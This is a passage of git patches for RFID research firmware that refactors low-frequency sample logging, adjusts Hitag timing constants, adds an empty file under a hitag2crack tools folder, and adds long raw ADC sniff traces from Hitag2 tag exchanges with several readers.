HITAG_T_WAIT_2_MIN; } else { Dbprintf("Error, unknown hitag reader type: %d", htf); return; @@ -1751,7 +1751,7 @@ void WriterHitag(hitag_function htf, hitag_data *htd, int page) { // Add transmitted frame to total count if (txlen > 0) { // frame_count++; - LogTrace(tx, nbytes(txlen), HITAG_T_WAIT_2, HITAG_T_WAIT_2, NULL, true); + LogTrace(tx, nbytes(txlen), HITAG_T_WAIT_2_MIN, HITAG_T_WAIT_2_MIN, NULL, true); } // Reset values for receiving frames From 958754edf47157b7136dfb83dbcb30f97a56b0eb Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Thu, 16 Jan 2020 10:42:39 +0100 Subject: [PATCH 330/418] enforce following lf config --- armsrc/lfadc.c | 7 +++---- armsrc/lfsampling.c | 4 ++++ armsrc/lfsampling.h | 1 + 3 files changed, 8 insertions(+), 4 deletions(-) diff --git a/armsrc/lfadc.c b/armsrc/lfadc.c index 09ee5a2a6..c715020a2 100644 --- a/armsrc/lfadc.c +++ b/armsrc/lfadc.c @@ -61,7 +61,7 @@ size_t lf_count_edge_periods_ex(size_t max, bool wait, bool detect_gap) { adc_val = AT91C_BASE_SSC->SSC_RHR; periods++; - if (logging) logSample(adc_val, 1, 8, 0); + if (logging) logSampleSimple(adc_val); // Only test field changes if state of adc values matter if (!wait) { @@ -91,7 +91,7 @@ size_t lf_count_edge_periods_ex(size_t max, bool wait, bool detect_gap) { if (periods == max) return 0; } } - if (logging) logSample(255, 1, 8, 0); + if (logging) logSampleSimple(0xFF); return 0; } @@ -206,14 +206,13 @@ size_t lf_detect_field_drop(size_t max) { } ++checked; - // Watchdog hit WDT_HIT(); if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { periods++; adc_val = AT91C_BASE_SSC->SSC_RHR; - if (logging) logSample(adc_val, 1, 8, 0); + if (logging) logSampleSimple(adc_val); if (adc_val == 0) { rising_edge = false; diff --git a/armsrc/lfsampling.c b/armsrc/lfsampling.c index eb3edb029..2d92cd692 100644 --- a/armsrc/lfsampling.c +++ b/armsrc/lfsampling.c @@ -138,6 +138,10 @@ uint32_t getSampleCounter() { return samples.total_saved; } +void logSampleSimple(uint8_t sample) { + logSample(sample, config.decimation, config.bits_per_sample, config.averaging); +} + void logSample(uint8_t sample, uint8_t decimation, uint8_t bits_per_sample, bool avg) { if (!data.buffer) return; diff --git a/armsrc/lfsampling.h b/armsrc/lfsampling.h index e97a3ac1a..cd3a8993e 100644 --- a/armsrc/lfsampling.h +++ b/armsrc/lfsampling.h @@ -70,6 +70,7 @@ uint32_t DoAcquisition_config(bool verbose, uint32_t sample_size); * Refactoring of lf sampling buffer */ void initSampleBuffer(uint32_t *sample_size); +void logSampleSimple(uint8_t sample); void logSample(uint8_t sample, uint8_t decimation, uint8_t bits_per_sample, bool avg); uint32_t getSampleCounter(); From 31daa9e302c3efc12aa7511c91c9c16b1ce5349d Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Thu, 16 Jan 2020 10:43:13 +0100 Subject: [PATCH 331/418] added hitag2crack --- tools/hitag2crack/.gitignore | 0 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 tools/hitag2crack/.gitignore diff --git a/tools/hitag2crack/.gitignore b/tools/hitag2crack/.gitignore new file mode 100644 index 000000000..e69de29bb From 329807a21b1cfacbfa3067300c398889a8c38263 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Thu, 16 Jan 2020 10:55:39 +0100 Subject: [PATCH 332/418] add traces lf sniff ht2 --- traces/sniff-ht2-BC3B8810-acg-reader.pm3 | 2000 +++++++ traces/sniff-ht2-BC3B8810-frosch-reader.pm3 | 5000 ++++++++++++++++++ traces/sniff-ht2-BC3B8810-rfidler-reader.pm3 | 4200 +++++++++++++++ 3 files changed, 11200 insertions(+) create mode 100644 traces/sniff-ht2-BC3B8810-acg-reader.pm3 create mode 100644 traces/sniff-ht2-BC3B8810-frosch-reader.pm3 create mode 100644 traces/sniff-ht2-BC3B8810-rfidler-reader.pm3 diff --git a/traces/sniff-ht2-BC3B8810-acg-reader.pm3 b/traces/sniff-ht2-BC3B8810-acg-reader.pm3 new file mode 100644 index 000000000..720492382 --- /dev/null +++ b/traces/sniff-ht2-BC3B8810-acg-reader.pm3 @@ -0,0 +1,2000 @@ +6 +6 +7 +7 +7 +6 +7 +7 +7 +6 +6 +6 +7 +6 +6 +6 +7 +7 +7 +6 +6 +6 +7 +6 +6 +6 +7 +6 +6 +6 +7 +7 +7 +6 +6 +6 +7 +6 +6 +6 +7 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +7 +6 +6 +6 +7 +7 +6 +6 +6 +6 +6 +6 +6 +6 +7 +7 +6 +6 +7 +7 +6 +6 +7 +7 +7 +6 +6 +7 +7 +7 +6 +6 +7 +6 +6 +6 +6 +6 +6 +5 +6 +6 +7 +6 +6 +6 +7 +6 +7 +6 +6 +6 +6 +6 +6 +7 +7 +6 +6 +6 +7 +7 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +7 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +7 +6 +6 +6 +6 +6 +6 +5 +6 +6 +7 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +7 +6 +5 +6 +6 +7 +6 +6 +6 +7 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +5 +6 +6 +6 +6 +6 +6 +7 +6 +6 +6 +7 +6 +6 +6 +7 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +7 +6 +6 +6 +7 +6 +5 +6 +6 +6 +5 +5 +-17 +-37 +-55 +-71 +-86 +-98 +-110 +-120 +-127 +3 +5 +-17 +-37 +-3 +59 +63 +46 +37 +41 +48 +47 +43 +39 +37 +36 +35 +33 +31 +29 +4 +-18 +-38 +-56 +-72 +-86 +-98 +-110 +-120 +-127 +18 +21 +-3 +-24 +14 +75 +78 +61 +51 +55 +61 +59 +54 +49 +48 +46 +43 +40 +38 +36 +11 +-13 +-33 +-52 +-68 +-82 +-95 +-107 +-117 +-126 +21 +23 +-1 +-23 +17 +77 +80 +63 +53 +56 +29 +4 +-18 +-38 +-55 +-71 +-85 +-98 +-109 +-119 +38 +41 +15 +-8 +31 +92 +94 +76 +65 +68 +40 +14 +-9 +-30 +-48 +-65 +-79 +-93 +-104 +-114 +44 +47 +21 +-3 +37 +97 +99 +79 +69 +72 +43 +17 +-6 +-28 +-46 +-63 +-77 +-91 +-103 +-113 +46 +48 +22 +-2 +38 +98 +99 +80 +70 +73 +77 +74 +68 +63 +60 +57 +54 +51 +48 +44 +42 +39 +38 +35 +33 +30 +30 +28 +37 +44 +50 +54 +55 +53 +52 +49 +48 +46 +44 +41 +39 +37 +35 +33 +31 +29 +28 +26 +25 +24 +23 +22 +20 +19 +19 +18 +17 +15 +15 +15 +14 +13 +13 +12 +12 +11 +11 +10 +11 +10 +10 +9 +9 +9 +9 +8 +8 +8 +8 +7 +7 +7 +7 +7 +6 +6 +7 +7 +7 +6 +6 +7 +7 +7 +6 +6 +6 +6 +6 +5 +6 +5 +6 +5 +5 +5 +6 +5 +5 +5 +6 +5 +6 +5 +5 +6 +6 +5 +5 +5 +6 +5 +5 +5 +6 +5 +5 +5 +6 +6 +6 +5 +5 +6 +6 +5 +5 +6 +6 +5 +5 +5 +5 +6 +5 +5 +5 +5 +6 +5 +5 +5 +6 +5 +5 +5 +5 +5 +5 +4 +5 +5 +5 +5 +5 +5 +5 +5 +5 +5 +6 +5 +5 +5 +5 +5 +5 +4 +5 +5 +5 +5 +5 +5 +5 +5 +5 +5 +5 +5 +5 +5 +5 +5 +30 +58 +77 +85 +85 +83 +82 +80 +78 +73 +69 +65 +62 +59 +56 +52 +30 +6 +-14 +-30 +-38 +-42 +-44 +-45 +-44 +-43 +-40 +-37 +-35 +-33 +-31 +-29 +-1 +29 +50 +58 +61 +62 +62 +61 +59 +57 +54 +51 +49 +46 +44 +42 +20 +-3 +-23 +-37 +-45 +-49 +-51 +-51 +-50 +-48 +-46 +-43 +-40 +-37 +-35 +-33 +-5 +26 +48 +56 +58 +58 +60 +59 +57 +54 +52 +49 +47 +44 +41 +39 +18 +-4 +-24 +-39 +-46 +-50 +-52 +-52 +-51 +-48 +-46 +-43 +-41 +-38 +-35 +-33 +-6 +25 +47 +56 +58 +58 +59 +59 +57 +54 +51 +49 +47 +44 +41 +39 +18 +-5 +-24 +-40 +-47 +-50 +-52 +-53 +-51 +-49 +-46 +-44 +-41 +-38 +-35 +-33 +-6 +24 +46 +55 +58 +58 +58 +58 +57 +54 +51 +48 +46 +44 +42 +39 +18 +-4 +-24 +-39 +-46 +-51 +-52 +-52 +-51 +-50 +-46 +-43 +-41 +-39 +-36 +-33 +-6 +25 +46 +55 +58 +58 +59 +58 +57 +54 +52 +48 +46 +44 +42 +39 +18 +-5 +-24 +-39 +-47 +-51 +-52 +-52 +-51 +-49 +-46 +-43 +-41 +-38 +-36 +-34 +-31 +-28 +-26 +-25 +-22 +-20 +-18 +-17 +-16 +-15 +-12 +-11 +-10 +-10 +-8 +-8 +18 +46 +67 +75 +76 +74 +74 +73 +70 +66 +63 +59 +57 +53 +50 +47 +44 +42 +40 +37 +34 +33 +31 +29 +27 +26 +25 +23 +22 +20 +20 +19 +0 +-22 +-40 +-54 +-60 +-64 +-65 +-65 +-62 +-59 +-56 +-53 +-49 +-46 +-43 +-41 +-13 +19 +41 +49 +52 +53 +55 +55 +53 +50 +48 +46 +44 +41 +38 +36 +16 +-7 +-26 +-41 +-48 +-52 +-54 +-55 +-52 +-50 +-47 +-45 +-42 +-39 +-36 +-34 +-7 +24 +46 +55 +57 +56 +58 +58 +56 +53 +51 +48 +46 +43 +41 +39 +18 +-5 +-24 +-39 +-47 +-50 +-52 +-53 +-52 +-49 +-46 +-44 +-42 +-39 +-36 +-34 +-7 +24 +46 +55 +57 +57 +58 +58 +57 +54 +51 +48 +47 +44 +41 +38 +18 +-5 +-25 +-40 +-46 +-50 +-52 +-53 +-51 +-49 +-46 +-44 +-41 +-39 +-36 +-34 +-32 +-29 +-27 +-24 +-23 +-21 +-19 +-17 +-15 +-14 +-13 +-12 +-10 +-9 +-9 +-9 +18 +47 +67 +74 +75 +74 +75 +72 +70 +66 +63 +59 +56 +53 +50 +47 +26 +2 +-18 +-34 +-41 +-45 +-47 +-48 +-47 +-45 +-42 +-40 +-38 +-35 +-33 +-30 +-4 +27 +49 +58 +60 +60 +60 +60 +59 +55 +52 +49 +47 +45 +42 +39 +18 +-4 +-24 +-39 +-46 +-50 +-51 +-52 +-51 +-49 +-45 +-43 +-40 +-39 +-35 +-33 +-6 +24 +46 +55 +58 +58 +58 +58 +57 +54 +51 +48 +46 +43 +41 +38 +17 +-5 +-25 +-40 +-47 +-51 +-52 +-53 +-51 +-49 +-46 +-43 +-41 +-39 +-36 +-33 +-6 +24 +46 +55 +57 +57 +58 +57 +56 +53 +50 +47 +46 +43 +41 +38 +36 +34 +32 +30 +28 +26 +26 +24 +22 +20 +20 +19 +18 +17 +16 +16 +-3 +-24 +-42 +-56 +-63 +-65 +-67 +-67 +-64 +-61 +-57 +-54 +-51 +-48 +-44 +-41 +-14 +17 +40 +49 +52 +52 +53 +53 +53 +50 +47 +44 +43 +40 +38 +35 +14 +-8 +-27 +-42 +-49 +-52 +-53 +-54 +-53 +-50 +-47 +-45 +-43 +-40 +-37 +-34 +-7 +23 +45 +54 +57 +56 +57 +57 +56 +53 +50 +47 +46 +43 +41 +38 +17 +-5 +-25 +-40 +-47 +-51 +-53 +-53 +-52 +-50 +-46 +-44 +-42 +-39 +-36 +-33 +-31 +-29 +-27 +-25 +-22 +-21 +-19 +-18 +-16 +-15 +-14 +-13 +-11 +-10 +-9 +-9 +17 +47 +66 +73 +74 +74 +74 +72 +69 +65 +62 +58 +55 +52 +49 +46 +44 +40 +38 +36 +35 +32 +30 +28 +28 +25 +24 +22 +21 +20 +19 +18 +-2 +-22 +-40 +-54 +-61 +-64 +-65 +-64 +-63 +-59 +-56 +-53 +-50 +-47 +-43 +-40 +-13 +17 +40 +49 +52 +53 +53 +53 +52 +50 +48 +45 +43 +41 +39 +35 +15 +-7 +-27 +-41 +-49 +-52 +-54 +-54 +-53 +-51 +-48 +-45 +-42 +-40 +-37 +-35 +-7 +23 +44 +53 +56 +57 +57 +56 +55 +53 +50 +47 +45 +42 +40 +38 +17 +-5 +-25 +-39 +-47 +-51 +-53 +-53 +-52 +-50 +-47 +-44 +-41 +-39 +-37 +-34 +-31 +-29 +-27 +-25 +-22 +-21 +-19 +-18 +-16 +-15 +-13 +-13 +-11 +-11 +-9 +-9 +17 +46 +66 +73 +74 +73 +73 +72 +69 +65 +62 +59 +56 +52 +49 +46 +25 +1 +-19 +-34 +-42 +-45 +-47 +-48 +-47 +-45 +-42 +-40 +-38 +-36 +-33 +-31 +-3 +26 +47 +56 +59 +58 +59 +58 +57 +54 +52 +48 +46 +44 +41 +39 +18 +-5 +-24 +-39 +-47 +-50 +-52 +-52 +-52 +-49 +-46 +-43 +-41 +-39 +-36 +-34 +-7 +24 +45 +54 +57 +57 +57 +57 +56 +53 +50 +47 +45 +42 +40 +37 +35 +33 +32 +30 +28 +26 +25 +24 +22 +20 +20 +19 +18 +16 +16 +15 +-4 +-25 +-43 +-56 +-63 +-66 +-67 +-67 +-64 +-61 +-58 +-55 +-52 +-48 +-44 +-42 +-39 +-36 +-33 +-31 +-28 +-27 +-24 +-22 +-20 +-19 +-18 +-16 +-14 +-14 +-13 +-12 +15 +44 +63 +70 +72 +72 +72 +70 +68 +64 +61 +57 +54 +51 +49 +46 +24 +0 +-20 +-35 +-42 +-46 +-49 +-49 +-47 +-46 +-43 +-41 +-38 +-36 +-33 +-31 +-5 +27 +48 +56 +58 +58 +59 +58 +56 +54 +51 +49 +46 +43 +41 +39 +18 +-5 +-24 +-39 +-46 +-50 +-52 +-53 +-51 +-49 +-46 +-44 +-42 +-39 +-35 +-33 +-6 +24 +45 +54 +57 +56 +57 +57 +56 +53 +49 +47 +45 +42 +39 +37 +16 +-6 +-25 +-40 +-47 +-51 +-52 +-53 +-52 +-49 +-46 +-44 +-42 +-39 +-36 +-34 +-8 +24 +45 +54 +56 +56 +57 +57 +56 +52 +50 +47 +45 +42 +40 +37 +16 +-6 +-25 +-40 +-47 +-51 +-52 +-53 +-52 +-50 +-46 +-44 +-42 +-39 +-36 +-34 +-7 +23 +45 +54 +56 +57 +57 +57 +56 +53 +50 +47 +45 +43 +40 +37 +16 +-6 +-25 +-40 +-48 +-51 +-53 +-53 +-52 +-50 +-47 +-44 +-41 +-39 +-36 +-34 +-6 +24 +45 +54 +56 +56 +57 +56 +55 +53 +50 +46 +44 +42 +40 +37 +35 +33 +31 +29 +27 +26 +25 +23 +22 +20 +19 +18 +18 +16 +15 +14 +-5 +-25 +-43 +-57 +-63 +-66 +-67 +-67 +-64 +-61 +-57 +-55 +-51 +-48 +-44 +-42 +-39 +-37 +-33 +-31 +-29 +-28 +-25 +-23 +-21 +-20 +-18 +-16 +-14 +-14 +-13 +-12 +14 +43 +63 +70 +72 +71 +71 +69 +67 +64 +60 +56 +53 +51 +48 +45 +23 +0 +-20 +-35 +-43 +-47 +-49 +-49 +-47 +-46 +-44 +-41 +-38 +-36 +-34 +-32 +-4 +26 +47 +55 +57 +58 +59 +58 +56 +53 +51 +48 +45 +42 +40 +39 +17 +-5 +-25 +-39 +-46 +-50 +-52 +-53 +-51 +-49 +-46 +-44 +-42 +-39 +-36 +-34 +-8 +23 +45 +54 +56 +56 +57 +57 +55 +52 +50 +47 +45 +42 +39 +37 +16 +-6 +-26 +-40 +-47 +-51 +-53 +-54 +-52 +-49 +-47 +-45 +-42 +-39 +-36 +-34 +-8 +23 +44 +53 +56 +56 +56 +57 +55 +52 +49 +46 +43 +40 +37 +35 +11 +-13 +-35 +-54 +-71 +-85 +-96 +-104 +-107 +-106 +-103 +-99 +-95 +-89 +-83 +-79 +-74 +-69 +-64 +-60 +-56 +-52 +-49 +-45 +-42 +-39 +-36 +-34 +-31 +-29 +-27 +-25 +-22 +-20 +-19 +-18 +-16 +-14 +-13 +-12 +-11 +-10 +-9 +-8 +-8 +-8 +-6 +-5 +-5 +-5 +-4 +-3 +-2 +-2 +-2 +-2 +-1 +-1 +-1 +-1 +0 +0 +0 +0 +0 +1 +1 +1 +1 +1 +2 +2 +2 +1 +2 +2 +2 +2 +2 +2 +3 +2 +2 +2 +3 +3 +3 +2 +2 +3 +3 +2 +3 +3 +4 +3 +3 +3 +4 +3 +3 +3 +3 +3 +3 +2 +3 +3 +4 +3 +3 +3 +4 +4 +3 +3 +4 +4 +3 +3 +3 +4 +4 +3 +3 +3 +3 +3 +3 +3 +4 +4 +3 +3 +3 +4 +4 +3 +3 +3 +4 +3 +3 +3 +4 +3 +3 +3 +4 +3 +4 +3 +4 +3 +4 +3 +3 +3 +4 +3 +3 +3 +4 +3 +3 +3 +4 +4 +4 +3 +3 +4 +4 +3 +3 +3 +4 +3 +3 +3 +3 +3 +3 +3 +3 +3 +4 +3 +3 +3 +4 +3 +3 +2 +3 +3 +4 +3 +3 +3 +4 +3 +3 +3 +4 +3 +4 +3 +3 +3 +4 +3 +3 +3 +4 +3 +3 +3 +3 +3 +3 +3 +3 +3 +4 +4 +4 +3 +4 +4 +4 +3 +3 +3 +3 +3 +3 +3 +4 +3 +3 +3 +4 +3 +3 +3 +4 +4 +4 +3 +4 +3 +4 +3 diff --git a/traces/sniff-ht2-BC3B8810-frosch-reader.pm3 b/traces/sniff-ht2-BC3B8810-frosch-reader.pm3 new file mode 100644 index 000000000..2a6afbf95 --- /dev/null +++ b/traces/sniff-ht2-BC3B8810-frosch-reader.pm3 @@ -0,0 +1,5000 @@ +14 +14 +15 +15 +14 +14 +14 +15 +14 +14 +13 +14 +14 +14 +13 +14 +14 +14 +14 +14 +14 +15 +14 +14 +14 +15 +15 +14 +14 +15 +14 +15 +14 +15 +14 +15 +14 +14 +14 +15 +14 +14 +14 +15 +15 +14 +14 +14 +14 +14 +13 +14 +14 +15 +14 +14 +14 +15 +13 +13 +13 +14 +14 +14 +13 +14 +14 +14 +14 +14 +14 +14 +13 +13 +13 +14 +14 +13 +13 +14 +14 +14 +13 +14 +13 +14 +13 +14 +14 +14 +14 +13 +13 +14 +14 +14 +14 +14 +14 +13 +13 +13 +13 +14 +13 +13 +13 +14 +14 +14 +13 +14 +14 +14 +13 +14 +14 +15 +14 +14 +14 +14 +14 +13 +14 +14 +14 +13 +13 +13 +13 +13 +13 +13 +13 +14 +13 +13 +13 +14 +13 +13 +13 +14 +13 +13 +13 +14 +14 +14 +13 +13 +13 +13 +13 +13 +13 +14 +14 +13 +13 +14 +14 +14 +13 +14 +14 +14 +13 +13 +13 +14 +13 +14 +13 +14 +12 +13 +12 +13 +13 +13 +13 +14 +13 +13 +13 +13 +13 +13 +13 +13 +13 +13 +13 +12 +12 +13 +13 +13 +13 +14 +14 +13 +13 +13 +13 +14 +13 +14 +13 +14 +13 +14 +13 +14 +14 +13 +13 +13 +13 +13 +13 +13 +13 +13 +12 +12 +12 +13 +13 +13 +13 +13 +13 +13 +13 +13 +13 +13 +13 +13 +13 +13 +12 +12 +13 +13 +13 +12 +13 +13 +12 +12 +12 +13 +13 +13 +12 +13 +13 +13 +12 +13 +13 +13 +13 +13 +13 +13 +13 +12 +12 +13 +13 +12 +12 +12 +13 +13 +12 +13 +13 +14 +13 +13 +13 +13 +12 +12 +12 +12 +12 +12 +12 +12 +12 +12 +12 +12 +13 +13 +13 +13 +13 +13 +12 +12 +12 +13 +12 +12 +12 +12 +12 +12 +12 +12 +13 +13 +12 +13 +13 +13 +12 +12 +12 +13 +13 +12 +12 +12 +12 +12 +12 +13 +12 +13 +11 +12 +12 +12 +12 +12 +12 +12 +13 +12 +12 +12 +13 +12 +12 +12 +13 +13 +12 +12 +12 +12 +11 +12 +12 +12 +12 +11 +11 +12 +12 +12 +12 +12 +12 +12 +12 +12 +12 +12 +11 +11 +12 +12 +11 +12 +12 +12 +12 +12 +11 +12 +12 +12 +11 +12 +12 +12 +11 +11 +12 +12 +12 +12 +11 +12 +12 +12 +11 +12 +12 +12 +11 +11 +11 +12 +12 +11 +11 +12 +12 +11 +11 +12 +12 +12 +11 +12 +11 +12 +11 +11 +11 +12 +12 +12 +12 +12 +12 +11 +11 +11 +12 +11 +11 +11 +12 +11 +11 +11 +11 +12 +11 +11 +11 +12 +11 +11 +11 +12 +12 +12 +11 +11 +11 +11 +10 +11 +11 +12 +11 +11 +11 +12 +11 +11 +11 +11 +11 +11 +11 +11 +12 +12 +12 +12 +11 +12 +11 +11 +11 +11 +11 +11 +10 +11 +11 +12 +11 +11 +11 +12 +11 +11 +11 +12 +12 +12 +11 +11 +11 +11 +10 +11 +10 +11 +10 +10 +11 +11 +11 +-18 +-44 +-67 +-88 +-106 +-122 +-127 +-127 +-127 +-127 +-127 +-127 +-127 +-127 +-52 +7 +48 +75 +91 +99 +103 +104 +102 +99 +95 +90 +86 +82 +46 +13 +-15 +-41 +-64 +-84 +-102 +-118 +-127 +-127 +-127 +-127 +-127 +-103 +-21 +36 +75 +100 +116 +117 +117 +117 +117 +117 +113 +107 +101 +95 +58 +24 +-6 +-33 +-56 +-77 +-96 +-112 +-127 +-127 +-127 +-127 +-127 +-97 +-15 +42 +80 +105 +117 +117 +117 +117 +87 +51 +18 +-11 +-37 +-60 +-80 +-98 +-114 +-127 +-127 +-127 +-127 +-75 +7 +64 +103 +117 +117 +117 +117 +117 +102 +64 +30 +0 +-27 +-51 +-72 +-91 +-107 +-123 +-127 +-127 +-127 +-68 +14 +71 +109 +117 +117 +117 +117 +117 +117 +102 +64 +30 +0 +-27 +-51 +-72 +-91 +-108 +-123 +-127 +-127 +-127 +-71 +10 +67 +105 +117 +117 +117 +117 +117 +117 +117 +117 +117 +116 +110 +103 +98 +91 +86 +81 +77 +72 +68 +63 +66 +67 +67 +65 +63 +61 +59 +56 +53 +50 +48 +46 +43 +41 +40 +38 +36 +33 +32 +30 +30 +28 +27 +26 +25 +23 +22 +21 +21 +20 +20 +18 +18 +18 +18 +17 +16 +16 +16 +15 +14 +14 +14 +14 +13 +12 +13 +13 +13 +12 +12 +11 +12 +12 +12 +11 +11 +11 +11 +10 +11 +11 +11 +11 +10 +11 +11 +10 +10 +9 +10 +10 +10 +9 +10 +9 +10 +9 +10 +10 +10 +9 +9 +9 +9 +9 +8 +8 +9 +10 +9 +9 +9 +9 +9 +9 +9 +9 +10 +9 +9 +9 +10 +9 +9 +8 +9 +9 +9 +9 +9 +9 +9 +9 +9 +9 +9 +8 +8 +9 +9 +9 +9 +9 +10 +10 +10 +9 +10 +9 +9 +8 +9 +9 +9 +8 +8 +9 +9 +9 +9 +9 +9 +10 +10 +9 +9 +9 +9 +9 +9 +8 +9 +8 +8 +8 +9 +9 +9 +9 +9 +9 +9 +8 +8 +8 +16 +24 +30 +34 +37 +39 +40 +39 +38 +37 +37 +35 +34 +32 +31 +29 +18 +10 +4 +-1 +-5 +-8 +-9 +-9 +-10 +-10 +-9 +-8 +-7 +-7 +-6 +-5 +4 +12 +18 +23 +27 +29 +30 +30 +30 +29 +29 +27 +27 +26 +26 +24 +14 +6 +0 +-5 +-9 +-11 +-12 +-12 +-12 +-12 +-12 +-11 +-9 +-9 +-8 +-7 +2 +10 +17 +22 +26 +28 +29 +29 +29 +29 +28 +27 +27 +26 +25 +24 +14 +6 +-1 +-5 +-9 +-11 +-12 +-12 +-13 +-13 +-12 +-11 +-10 +-10 +-8 +-7 +2 +10 +17 +21 +25 +27 +28 +28 +29 +28 +27 +26 +26 +25 +24 +23 +14 +6 +-1 +-6 +-10 +-11 +-12 +-13 +-13 +-13 +-12 +-11 +-10 +-10 +-9 +-8 +2 +10 +17 +22 +26 +27 +28 +28 +29 +28 +27 +26 +25 +25 +24 +23 +13 +5 +-1 +-6 +-10 +-12 +-13 +-13 +-13 +-14 +-12 +-12 +-10 +-10 +-9 +-8 +2 +10 +16 +21 +25 +27 +28 +29 +29 +29 +28 +26 +26 +25 +24 +22 +13 +5 +-1 +-7 +-11 +-12 +-13 +-14 +-14 +-13 +-12 +-11 +-11 +-11 +-9 +-8 +-7 +-7 +-6 +-5 +-3 +-4 +-3 +-2 +0 +0 +0 +1 +1 +2 +2 +2 +11 +19 +25 +29 +32 +33 +35 +35 +34 +33 +33 +31 +30 +27 +26 +25 +25 +23 +22 +21 +21 +20 +19 +18 +18 +17 +16 +15 +15 +15 +15 +13 +5 +-3 +-9 +-14 +-17 +-19 +-19 +-20 +-19 +-19 +-17 +-16 +-15 +-14 +-13 +-12 +-3 +5 +13 +18 +22 +24 +25 +26 +27 +26 +25 +24 +24 +23 +22 +21 +12 +4 +-3 +-8 +-11 +-13 +-14 +-15 +-15 +-14 +-13 +-13 +-12 +-11 +-9 +-9 +0 +8 +16 +20 +24 +25 +27 +27 +28 +27 +26 +26 +25 +24 +22 +22 +12 +5 +-2 +-8 +-11 +-13 +-14 +-15 +-14 +-14 +-13 +-13 +-12 +-11 +-10 +-10 +-1 +7 +16 +21 +24 +25 +27 +28 +28 +27 +26 +25 +25 +24 +22 +22 +13 +4 +-3 +-8 +-10 +-12 +-13 +-15 +-14 +-14 +-13 +-13 +-12 +-11 +-9 +-9 +-8 +-8 +-7 +-5 +-5 +-4 +-3 +-3 +-2 +-2 +-2 +-1 +0 +0 +1 +1 +10 +17 +24 +27 +31 +32 +33 +33 +33 +32 +32 +30 +28 +27 +26 +25 +15 +7 +0 +-5 +-9 +-11 +-12 +-12 +-12 +-12 +-11 +-11 +-10 +-9 +-9 +-8 +1 +10 +16 +21 +24 +26 +27 +27 +27 +26 +26 +25 +24 +23 +23 +21 +12 +4 +-2 +-7 +-11 +-14 +-14 +-15 +-14 +-14 +-13 +-12 +-12 +-11 +-11 +-10 +-1 +7 +14 +19 +23 +25 +26 +26 +26 +26 +26 +24 +24 +23 +23 +21 +11 +4 +-3 +-8 +-11 +-14 +-15 +-15 +-15 +-15 +-14 +-13 +-12 +-11 +-11 +-11 +-1 +7 +15 +19 +23 +25 +27 +26 +26 +26 +25 +24 +23 +22 +22 +20 +19 +18 +18 +16 +16 +15 +14 +14 +14 +13 +12 +12 +12 +11 +11 +10 +2 +-5 +-11 +-16 +-19 +-20 +-21 +-21 +-21 +-19 +-18 +-18 +-17 +-16 +-14 +-13 +-4 +4 +12 +17 +20 +22 +23 +24 +24 +24 +23 +22 +21 +20 +20 +19 +10 +2 +-4 +-10 +-13 +-15 +-16 +-17 +-16 +-16 +-15 +-14 +-14 +-13 +-11 +-11 +-2 +7 +14 +18 +22 +23 +25 +26 +26 +25 +25 +24 +23 +22 +21 +20 +11 +3 +-4 +-9 +-12 +-14 +-15 +-16 +-16 +-15 +-14 +-14 +-13 +-12 +-11 +-10 +-9 +-8 +-8 +-7 +-6 +-6 +-5 +-4 +-3 +-3 +-3 +-2 +-2 +-2 +-1 +-1 +8 +16 +22 +26 +29 +31 +32 +31 +31 +31 +30 +28 +27 +26 +25 +23 +22 +21 +21 +19 +18 +17 +17 +16 +15 +13 +13 +13 +12 +11 +11 +11 +2 +-6 +-12 +-16 +-19 +-21 +-22 +-22 +-21 +-21 +-20 +-19 +-18 +-17 +-15 +-14 +-5 +4 +11 +15 +19 +22 +24 +24 +24 +23 +23 +22 +21 +20 +20 +19 +10 +1 +-5 +-9 +-12 +-14 +-16 +-17 +-17 +-16 +-16 +-16 +-15 +-14 +-13 +-12 +-3 +6 +13 +18 +21 +23 +26 +26 +26 +24 +24 +23 +22 +20 +20 +19 +10 +2 +-5 +-10 +-12 +-15 +-16 +-17 +-16 +-16 +-16 +-15 +-14 +-13 +-12 +-11 +-10 +-9 +-8 +-8 +-7 +-6 +-5 +-5 +-4 +-3 +-2 +-2 +-2 +-2 +-1 +-1 +8 +15 +21 +25 +28 +30 +30 +30 +30 +29 +28 +27 +26 +25 +24 +23 +14 +5 +-1 +-7 +-10 +-13 +-13 +-14 +-15 +-15 +-14 +-14 +-13 +-12 +-11 +-10 +-1 +6 +13 +18 +22 +24 +25 +25 +26 +25 +23 +22 +22 +21 +20 +19 +10 +2 +-5 +-10 +-13 +-15 +-16 +-18 +-17 +-17 +-16 +-16 +-15 +-13 +-12 +-12 +-4 +5 +12 +17 +21 +22 +24 +24 +24 +23 +23 +23 +22 +21 +20 +19 +18 +17 +16 +15 +15 +14 +14 +12 +12 +11 +11 +10 +10 +9 +9 +9 +0 +-8 +-13 +-17 +-20 +-22 +-22 +-23 +-22 +-22 +-21 +-20 +-18 +-18 +-17 +-16 +-15 +-14 +-12 +-12 +-10 +-9 +-8 +-7 +-7 +-6 +-5 +-5 +-4 +-4 +-3 +-3 +5 +13 +20 +24 +27 +27 +29 +29 +29 +28 +27 +26 +25 +24 +22 +21 +11 +3 +-3 +-8 +-11 +-13 +-14 +-16 +-15 +-15 +-14 +-15 +-14 +-13 +-11 +-11 +-3 +6 +13 +18 +21 +22 +24 +24 +24 +24 +23 +22 +21 +20 +19 +18 +9 +1 +-6 +-11 +-14 +-16 +-17 +-18 +-18 +-17 +-16 +-16 +-16 +-15 +-13 +-12 +-3 +5 +13 +17 +20 +21 +23 +24 +24 +23 +23 +22 +21 +19 +19 +18 +9 +1 +-6 +-11 +-14 +-16 +-17 +-18 +-18 +-17 +-16 +-16 +-16 +-14 +-14 +-13 +-4 +4 +12 +17 +20 +22 +24 +24 +24 +23 +22 +22 +21 +20 +19 +18 +9 +0 +-6 +-11 +-14 +-16 +-18 +-18 +-18 +-17 +-16 +-16 +-14 +-14 +-13 +-13 